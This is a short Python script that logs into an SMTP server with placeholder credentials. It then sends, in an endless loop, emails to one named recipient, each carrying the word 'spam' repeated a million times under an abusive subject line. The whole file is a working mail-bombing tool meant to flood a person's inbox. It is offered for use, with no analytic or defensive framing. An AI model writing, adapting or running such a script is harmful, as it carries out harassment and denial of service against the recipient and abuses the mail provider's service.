import smtplib
import ssl

user = 'myemailhere@cock.li'
passwd = 'passwordhere'
receiver = 'rightowner@gmail.com'
c = ssl.create_default_context()
s = 'spam'*(10**6)

while True:
    with smtplib.SMTP_SSL(host='mail.cock.li', port=465, context=c) as m:
        m.login(user, passwd)
        m.sendmail(user, receiver,
'''Subject: git fukt

{}'''.format(s)
)